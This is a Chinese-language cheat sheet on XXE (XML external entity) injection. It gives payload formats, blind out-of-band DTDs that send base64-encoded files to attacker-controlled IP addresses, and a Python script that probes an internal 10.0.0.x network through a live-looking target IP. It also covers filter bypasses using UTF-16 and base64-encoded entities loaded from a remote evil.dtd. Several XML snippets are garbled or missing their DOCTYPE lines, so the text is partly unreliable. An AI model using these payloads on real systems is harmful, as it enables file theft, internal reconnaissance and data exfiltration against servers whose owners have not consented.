XML是一种非常流行的标记语言,用于配置文件。在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。
XXE(XML External Entity,外部实体),从安全角度理解成 XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
基本格式(外部实体)
1 | <!-- 通用实体 --> |
注入
有回显
常规
1
2
3
4
<creds>&goodies;</creds>文件含特殊字符(参数实体)
1
2
3
4
5
6
7
8
<roottag>&all;</roottag>evil.dtd
1
2<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
无回显 (Blind OOB XXE)
常规
1
2
3
4test.dtd
1
2<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">支持的协议:
PHP:
file http ftp php compress.zlib compress.bzip2 data glob phar
Java:
http https ftp file jar netdoc mailto gopher
其他利用
HTTP内网主机探测
利用 file 协议读取作为支点服务器的网络配置文件,看有没有内网,以及网段大概是什么样子,可以尝试读取
/etc/network/interfaces
或者/proc/net/arp
或者/etc/host
文件,就有大致的探测方向。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print(coded_string)
# print(base64.b64decode(coded_string))
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print(string)
build_xml(string)
except:
continueHTTP内网主机端口扫描
找到内网一台主机,想要知道攻击点在哪,还需要进行端口扫描,端口扫描的脚本与主机探测类似,只要把IP地址固定,然后循环遍历端口,当然一般端口是通过响应的时间的长短判断该该端口是否开放的。除了这种方法,我们还能结合 burpsuite 进行端口探测。
RCE
主要是由于配置不当/开发内部应用导致的。如果足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令。
1
2
3
4
5
6
7
8
<catalog>
<core id="test101">
<author>John, Doe</author>
</core>
</catalog>
绕过(bypass)
协议(如http)
可以利用实体编码绕过。
双重实体编码
1
2
3
4
5
6
7
8
9
10
11
<!--编码内容-->
]>
<core>
<message>&xxe;</message>
</core>data://协议
1
2
3
4
5
<comment><sender>&xxe;</sender><content>111</content></comment>1
2
3
4
5
6
7
8
9
10
<test>&hhh;</test>
<!--编码内容-->file://协议+文件上传
1
2
3
4
5
6
7
8
<!--上传文件-->php://filter协议+文件上传
1
2
3
4
5
6
7
8
9
10
11
<test>
&hhh;
</test>
<!--上传文件-->1
2
3
4
5
6
7
8
9
10
11
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
关键词(如 ENTITY, SYSTEM, file)
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
1
2
3
4
5
6
7
8
9
10import requests
url = 'http://url/'
payload = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://yourVPS/evil.dtd">
%remote;%int;%send;
]>
"""
payload = payload.encode('utf-16')
requests.post(url, data=payload)evil.dtd
1
2<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">